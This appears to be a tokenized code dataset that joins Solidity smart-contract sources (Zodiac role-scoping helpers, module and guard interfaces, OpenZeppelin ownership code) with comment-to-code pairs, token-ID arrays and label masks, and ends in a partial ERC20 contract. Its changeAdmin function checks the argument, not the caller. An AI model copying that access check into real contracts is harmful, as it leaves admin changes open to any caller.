// set compValue
key = keyForCompValues(targetAddress, functionSig, index);
role.compValuesOneOf[key] = new bytes32[](compValues.length);
for (uint256 i = 0; i < compValues.length; i++) {
role.compValuesOneOf[key][i] = compressCompValue(
paramType,
compValues[i]
);
}
emit ScopeParameterAsOneOf(
roleId,
targetAddress,
functionSig,
index,
paramType,
compValues,
scopeConfig
);
}
function unscopeParameter(
Role storage role,
uint16 roleId,
address targetAddress,
bytes4 functionSig,
uint256 index
) external {
if (index >= SCOPE_MAX_PARAMS) {
revert ScopeMaxParametersExceeded();
}
// set scopeConfig
bytes32 key = keyForFunctions(targetAddress, functionSig);
uint256 scopeConfig = packParameter(
role.functions[key],
index,
false, // isScoped
ParameterType(0),
Comparison(0)
);
role.functions[key] = scopeConfig;
emit UnscopeParameter(
roleId,
targetAddress,
functionSig,
index,
scopeConfig
);
}
function enforceComp(ParameterType paramType, Comparison paramComp)
internal
pure
{
if (paramComp == Comparison.OneOf) {
revert UnsuitableOneOfComparison();
}
if (
(paramType != ParameterType.Static) &&
(paramComp != Comparison.EqualTo)
) {
revert UnsuitableRelativeComparison();
}
}
function enforceCompValue(ParameterType paramType, bytes calldata compValue)
internal
pure
{
if (paramType == ParameterType.Static && compValue.length != 32) {
revert UnsuitableStaticCompValueSize();
}
if (
paramType == ParameterType.Dynamic32 && compValue.length % 32 != 0
) {
revert UnsuitableDynamic32CompValueSize();
}
}
/*
*
* HELPERS
*
*/
function pluckDynamicValue(
bytes memory data,
ParameterType paramType,
uint256 index
) internal pure returns (bytes32) {
assert(paramType != ParameterType.Static);
// pre-check: is there a word available for the current parameter at argumentsBlock?
if (data.length < 4 + index * 32 + 32) {
revert CalldataOutOfBounds();
}
/*
* Encoded calldata:
* 4 bytes -> function selector
* 32 bytes -> sequence, one chunk per parameter
*
* There is one (byte32) chunk per parameter. Depending on type it contains:
* Static -> value encoded inline (not plucked by this function)
* Dynamic -> a byte offset to encoded data payload
* Dynamic32 -> a byte offset to encoded data payload
* Note: Fixed Sized Arrays (e.g., bool[2]), are encoded inline
* Note: Nested types also do not follow the above described rules, and are unsupported
* Note: The offset to payload does not include 4 bytes for functionSig
*
*
* At encoded payload, the first 32 bytes are the length encoding of the parameter payload. Depending on ParameterType:
* Dynamic -> length in bytes
* Dynamic32 -> length in bytes32
* Note: Dynamic types are: bytes, string
* Note: Dynamic32 types are non-nested arrays: address[] bytes32[] uint[] etc
*/
// the start of the parameter block
// 32 bytes - length encoding of the data bytes array
// 4 bytes - function sig
uint256 argumentsBlock;
assembly {
argumentsBlock := add(data, 36)
}
// the two offsets are relative to argumentsBlock
uint256 offset = index * 32;
uint256 offsetPayload;
assembly {
offsetPayload := mload(add(argumentsBlock, offset))
}
uint256 lengthPayload;
assembly {
lengthPayload := mload(add(argumentsBlock, offsetPayload))
}
// account for:
// 4 bytes - functionSig
// 32 bytes - length encoding for the parameter payload
uint256 start = 4 + offsetPayload + 32;
uint256 end = start +
(
paramType == ParameterType.Dynamic32
? lengthPayload * 32
: lengthPayload
);
// are we slicing out of bounds?
if (data.length < end) {
revert CalldataOutOfBounds();
}
return keccak256(slice(data, start, end));
}
function pluckStaticValue(bytes memory data, uint256 index)
internal
pure
returns (bytes32)
{
// pre-check: is there a word available for the current parameter at argumentsBlock?
if (data.length < 4 + index * 32 + 32) {
revert CalldataOutOfBounds();
}
uint256 offset = 4 + index * 32;
bytes32 value;
assembly {
// add 32 - jump over the length encoding of the data bytes array
value := mload(add(32, add(data, offset)))
}
return value;
}
function slice(
bytes memory data,
uint256 start,
uint256 end
) internal pure returns (bytes memory result) {
result = new bytes(end - start);
for (uint256 j = start; j < end; j++) {
result[j - start] = data[j];
}
}
/*
* pack/unpack are bit helpers for scopeConfig
*/
function packParameter(
uint256 scopeConfig,
uint256 index,
bool isScoped,
ParameterType paramType,
Comparison paramComp
) internal pure returns (uint256) {
(ExecutionOptions options, , uint256 prevLength) = unpackFunction(
scopeConfig
);
uint256 nextLength = index + 1 > prevLength ? index + 1 : prevLength;
return
packLeft(
packRight(scopeConfig, index, isScoped, paramType, paramComp),
options,
false, // isWildcarded=false
nextLength
);
}
function packOptions(uint256 scopeConfig, ExecutionOptions options)
internal
pure
returns (uint256)
{
uint256 optionsMask = 3 << 254;
scopeConfig &= ~optionsMask;
scopeConfig |= uint256(options) << 254;
return scopeConfig;
}
function packLeft(
uint256 scopeConfig,
ExecutionOptions options,
bool isWildcarded,
uint256 length
) internal pure returns (uint256) {
// LEFT SIDE
// 2 bits -> options
// 1 bits -> isWildcarded
// 5 bits -> unused
// 8 bits -> length
// RIGHT SIDE
// 48 bits -> isScoped
// 96 bits -> paramType (2 bits per entry 48*2)
// 96 bits -> paramComp (2 bits per entry 48*2)
// Wipe the LEFT SIDE clean. Start from there
scopeConfig = (scopeConfig << 16) >> 16;
// set options -> 256 - 2 = 254
scopeConfig |= uint256(options) << 254;
// set isWildcarded -> 256 - 2 - 1 = 253
if (isWildcarded) {
scopeConfig |= 1 << 253;
}
// set Length -> 48 + 96 + 96 = 240
scopeConfig |= length << 240;
return scopeConfig;
}
function packRight(
uint256 scopeConfig,
uint256 index,
bool isScoped,
ParameterType paramType,
Comparison paramComp
) internal pure returns (uint256) {
// LEFT SIDE
// 2 bits -> options
// 1 bits -> isWildcarded
// 5 bits -> unused
// 8 bits -> length
// RIGHT SIDE
// 48 bits -> isScoped
// 96 bits -> paramType (2 bits per entry 48*2)
// 96 bits -> paramComp (2 bits per entry 48*2)
uint256 isScopedMask = 1 << (index + 96 + 96);
uint256 paramTypeMask = 3 << (index * 2 + 96);
uint256 paramCompMask = 3 << (index * 2);
if (isScoped) {
scopeConfig |= isScopedMask;
} else {
scopeConfig &= ~isScopedMask;
}
scopeConfig &= ~paramTypeMask;
scopeConfig |= uint256(paramType) << (index * 2 + 96);
scopeConfig &= ~paramCompMask;
scopeConfig |= uint256(paramComp) << (index * 2);
return scopeConfig;
}
function unpackFunction(uint256 scopeConfig)
internal
pure
returns (
ExecutionOptions options,
bool isWildcarded,
uint256 length
)
{
uint256 isWildcardedMask = 1 << 253;
options = ExecutionOptions(scopeConfig >> 254);
isWildcarded = scopeConfig & isWildcardedMask != 0;
length = (scopeConfig << 8) >> 248;
}
function unpackParameter(uint256 scopeConfig, uint256 index)
internal
pure
returns (
bool isScoped,
ParameterType paramType,
Comparison paramComp
)
{
uint256 isScopedMask = 1 << (index + 96 + 96);
uint256 paramTypeMask = 3 << (index * 2 + 96);
uint256 paramCompMask = 3 << (index * 2);
isScoped = (scopeConfig & isScopedMask) != 0;
paramType = ParameterType(
(scopeConfig & paramTypeMask) >> (index * 2 + 96)
);
paramComp = Comparison((scopeConfig & paramCompMask) >> (index * 2));
}
function keyForFunctions(address targetAddress, bytes4 functionSig)
public
pure
returns (bytes32)
{
return bytes32(abi.encodePacked(targetAddress, functionSig));
}
function keyForCompValues(
address targetAddress,
bytes4 functionSig,
uint256 index
) public pure returns (bytes32) {
return
bytes32(abi.encodePacked(targetAddress, functionSig, uint8(index)));
}
function compressCompValue(
ParameterType paramType,
bytes calldata compValue
) internal pure returns (bytes32) {
return
paramType == ParameterType.Static
? bytes32(compValue)
: keccak256(compValue);
}
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Zodiac Avatar - A contract that manages modules that can execute transactions via this contract.
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
interface IAvatar {
/// @dev Enables a module on the avatar.
/// @notice Can only be called by the avatar.
/// @notice Modules should be stored as a linked list.
/// @notice Must emit EnabledModule(address module) if successful.
/// @param module Module to be enabled.
function enableModule(address module) external;
/// @dev Disables a module on the avatar.
/// @notice Can only be called by the avatar.
/// @notice Must emit DisabledModule(address module) if successful.
/// @param prevModule Address that pointed to the module to be removed in the linked list
/// @param module Module to be removed.
function disableModule(address prevModule, address module) external;
/// @dev Allows a Module to execute a transaction.
/// @notice Can only be called by an enabled module.
/// @notice Must emit ExecutionFromModuleSuccess(address module) if successful.
/// @notice Must emit ExecutionFromModuleFailure(address module) if unsuccessful.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function execTransactionFromModule(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) external returns (bool success);
/// @dev Allows a Module to execute a transaction and return data
/// @notice Can only be called by an enabled module.
/// @notice Must emit ExecutionFromModuleSuccess(address module) if successful.
/// @notice Must emit ExecutionFromModuleFailure(address module) if unsuccessful.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function execTransactionFromModuleReturnData(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) external returns (bool success, bytes memory returnData);
/// @dev Returns if an module is enabled
/// @return True if the module is enabled
function isModuleEnabled(address module) external view returns (bool);
/// @dev Returns array of modules.
/// @param start Start of the page.
/// @param pageSize Maximum number of modules that should be returned.
/// @return array Array of modules.
/// @return next Start of the next page.
function getModulesPaginated(address start, uint256 pageSize)
external
view
returns (address[] memory array, address next);
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Module Interface - A contract that can pass messages to a Module Manager contract if enabled by that contract.
pragma solidity >=0.7.0 <0.9.0;
import "../interfaces/IAvatar.sol";
import "../factory/FactoryFriendly.sol";
import "../guard/Guardable.sol";
abstract contract Module is FactoryFriendly, Guardable {
/// @dev Emitted each time the avatar is set.
event AvatarSet(address indexed previousAvatar, address indexed newAvatar);
/// @dev Emitted each time the Target is set.
event TargetSet(address indexed previousTarget, address indexed newTarget);
/// @dev Address that will ultimately execute function calls.
address public avatar;
/// @dev Address that this module will pass transactions to.
address public target;
/// @dev Sets the avatar to a new avatar (`newAvatar`).
/// @notice Can only be called by the current owner.
function setAvatar(address _avatar) public onlyOwner {
address previousAvatar = avatar;
avatar = _avatar;
emit AvatarSet(previousAvatar, _avatar);
}
/// @dev Sets the target to a new target (`newTarget`).
/// @notice Can only be called by the current owner.
function setTarget(address _target) public onlyOwner {
address previousTarget = target;
target = _target;
emit TargetSet(previousTarget, _target);
}
/// @dev Passes a transaction to be executed by the avatar.
/// @notice Can only be called by this contract.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function exec(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) internal returns (bool success) {
/// check if a transactioon guard is enabled.
if (guard != address(0)) {
IGuard(guard).checkTransaction(
/// Transaction info used by module transactions
to,
value,
data,
operation,
/// Zero out the redundant transaction information only used for Safe multisig transctions
0,
0,
0,
address(0),
payable(0),
bytes("0x"),
address(0)
);
}
success = IAvatar(target).execTransactionFromModule(
to,
value,
data,
operation
);
if (guard != address(0)) {
IGuard(guard).checkAfterExecution(bytes32("0x"), success);
}
return success;
}
/// @dev Passes a transaction to be executed by the target and returns data.
/// @notice Can only be called by this contract.
/// @param to Destination address of module transaction.
/// @param value Ether value of module transaction.
/// @param data Data payload of module transaction.
/// @param operation Operation type of module transaction: 0 == call, 1 == delegate call.
function execAndReturnData(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) internal returns (bool success, bytes memory returnData) {
/// check if a transactioon guard is enabled.
if (guard != address(0)) {
IGuard(guard).checkTransaction(
/// Transaction info used by module transactions
to,
value,
data,
operation,
/// Zero out the redundant transaction information only used for Safe multisig transctions
0,
0,
0,
address(0),
payable(0),
bytes("0x"),
address(0)
);
}
(success, returnData) = IAvatar(target)
.execTransactionFromModuleReturnData(to, value, data, operation);
if (guard != address(0)) {
IGuard(guard).checkAfterExecution(bytes32("0x"), success);
}
return (success, returnData);
}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title Enum - Collection of enums
/// @author Richard Meissner - <[email protected]>
contract Enum {
enum Operation {Call, DelegateCall}
}
// SPDX-License-Identifier: LGPL-3.0-only
/// @title Zodiac FactoryFriendly - A contract that allows other contracts to be initializable and pass bytes as arguments to define contract state
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
abstract contract FactoryFriendly is OwnableUpgradeable {
function setUp(bytes memory initializeParams) public virtual;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol";
import "./BaseGuard.sol";
/// @title Guardable - A contract that manages fallback calls made to this contract
contract Guardable is OwnableUpgradeable {
event ChangedGuard(address guard);
address public guard;
/// @dev Set a guard that checks transactions before execution
/// @param _guard The address of the guard to be used or the 0 address to disable the guard
function setGuard(address _guard) external onlyOwner {
if (_guard != address(0)) {
require(
BaseGuard(_guard).supportsInterface(type(IGuard).interfaceId),
"Guard does not implement IERC165"
);
}
guard = _guard;
emit ChangedGuard(guard);
}
function getGuard() external view returns (address _guard) {
return guard;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @notice More details at https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol";
import "../interfaces/IGuard.sol";
abstract contract BaseGuard is IERC165 {
function supportsInterface(bytes4 interfaceId)
external
pure
override
returns (bool)
{
return
interfaceId == type(IGuard).interfaceId || // 0xe6d7a83a
interfaceId == type(IERC165).interfaceId; // 0x01ffc9a7
}
/// Module transactions only use the first four parameters: to, value, data, and operation.
/// Module.sol hardcodes the remaining parameters as 0 since they are not used for module transactions.
/// This interface is used to maintain compatibilty with Gnosis Safe transaction guards.
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external virtual;
function checkAfterExecution(bytes32 txHash, bool success) external virtual;
}
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
interface IGuard {
function checkTransaction(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation,
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures,
address msgSender
) external;
function checkAfterExecution(bytes32 txHash, bool success) external;
} | packLeft( 0 -> start from a fresh scopeConfig options -> externally provided options false -> mark the function as not wildcarded 0 -> length )/ | uint256 scopeConfig = packLeft(0, options, false, length);
| 6,977,386 | [
1,
2920,
3910,
12,
565,
374,
6647,
317,
787,
628,
279,
12186,
2146,
809,
565,
702,
377,
317,
18885,
1230,
2112,
702,
565,
629,
4202,
317,
2267,
326,
445,
487,
486,
23578,
16500,
565,
374,
6647,
317,
769,
262,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
2254,
5034,
2146,
809,
273,
2298,
3910,
12,
20,
16,
702,
16,
629,
16,
769,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x9b5D1e314a8c8AF17150fe4e327e8523ee15d25f/sources/contracts/mixins/NFTMarketBuyPrice.sol | @notice Stores the current buy price for each NFT. | mapping(address => mapping(uint256 => BuyPrice)) private nftContractToTokenIdToBuyPrice;
| 4,363,619 | [
1,
13125,
326,
783,
30143,
6205,
364,
1517,
423,
4464,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2874,
12,
2867,
516,
2874,
12,
11890,
5034,
516,
605,
9835,
5147,
3719,
3238,
290,
1222,
8924,
774,
1345,
28803,
38,
9835,
5147,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
// Get the total token supply
function totalSupply() public view returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address who) public view returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address to, uint256 value) public returns (bool);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address from, address to, uint256 value) public returns (bool);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address spender, uint256 value) public returns (bool);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address owner, address spender) public view returns (uint256);
// Triggered when tokens are transferred.
event Transfer(address indexed from, address indexed to, uint256 value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed owner,address indexed spender,uint256 value);
}
/// @title Implementation of basic ERC20 function.
/// @notice The only difference from most other ERC20 contracts is that we introduce 2 superusers - the founder and the admin.
contract _Base20 is ERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) internal accounts;
address internal admin;
address payable internal founder;
uint256 internal __totalSupply;
constructor(uint256 _totalSupply,
address payable _founder,
address _admin) public {
__totalSupply = _totalSupply;
admin = _admin;
founder = _founder;
accounts[founder] = __totalSupply;
emit Transfer(address(0), founder, accounts[founder]);
}
// define onlyAdmin
modifier onlyAdmin {
require(admin == msg.sender);
_;
}
// define onlyFounder
modifier onlyFounder {
require(founder == msg.sender);
_;
}
// Change founder
function changeFounder(address payable who) onlyFounder public {
founder = who;
}
// show founder address
function getFounder() onlyFounder public view returns (address) {
return founder;
}
// Change admin
function changeAdmin(address who) public {
require(who == founder || who == admin);
admin = who;
}
// show admin address
function getAdmin() public view returns (address) {
